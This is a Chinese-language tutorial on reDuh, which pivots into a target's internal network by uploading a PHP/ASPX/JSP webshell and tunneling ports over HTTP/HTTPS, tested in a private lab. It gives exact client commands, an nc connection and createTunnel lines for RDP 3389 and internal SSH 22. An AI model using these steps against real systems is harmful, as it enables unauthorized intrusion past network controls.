一、使用说明
国外大牛的作品,偶顺手写了个使用说明。E文好的看原文 http://www.sensepost.com/research/reDuh/
这个工具可以把内网服务器的端口通过http/https隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。
本机——-客户端———(http隧道)———–服务端——————内网服务器
服务端是个webshell(针对不同服务器有aspx,php,jsp三个版本),客户端是java写的,本机执行最好装上JDK。
需要注意的是用此工具转发数据速度很慢,连接的时候应尽量把mstsc的颜色设置调低些。
reDuh客户端下载 reduhclient-0.3.zip
reDuh服务端下载 reduh-server-all.gz
二、本机实测(使用案例)
本地测试主要测试其是否可以用于https,测试结果发现可以用于https。测试前首先搭建一个https服务器,搭建过程参考:
1、将reduh的客户端和服务端下载下来解压。将reduh服务端的webshell上传到服务器上,获取webshell:https://192.168.32.170/reduh.php
2、运行reduh客户端java文件
使用方法如下:
可以看到reduh支持http和https,并且支持使用代理服务器。
按照上面命令格式连接服务端上的webshell:java -jar reDuhClient.jar https://192.168.32.170/reduh.php
(3)新开一个cmd,运行nc连接本机1010端口:nc -vv localhost 1010
运行后,可以看到出现了可以执行命令的命令行,在此执行命令即可。
(1)连接服务器的3389端口
[createTunnel]1234:127.0.0.1:3389
执行上述命令后,连接本机的1234端口即可达到连接服务器3389端口的目的。
(2)连接服务器内网某主机的22端口
[createTunnel]1235:192.168.32.x:22
可以看到已经成功的连接服务器内网某主机的22端口,本机连接1235端口即可。
(3)连接服务器内网某主机的80端口
三、遇到的问题
当我首次运行reduh客户端连接webshell时(java -jar reDuhClient.jar https://192.168.32.170/reduh.php)时结果遇到错误:Tried to find a remote serviceport between 42000:42050. No attempts were successful. Soffy it didn’t work out。将webshell改成错误的后发现reduh客户端是通过https://192.168.32.170/reduh.php?action=checkPort&port=42048这样的链接来测试端口是否可用。
我自己访问改地址https://192.168.32.170/reduh.php?action=checkPort&port=42048,发现上面报错:Fatal error: Call to undefined function socket_create()。查阅资料,发现是因为php的socket模块没有开启。在测试服务器上打开php.ini将 extension=php_gd2.dll 和 extension=php_sockets.dll 扩展打开即可。
参考资料: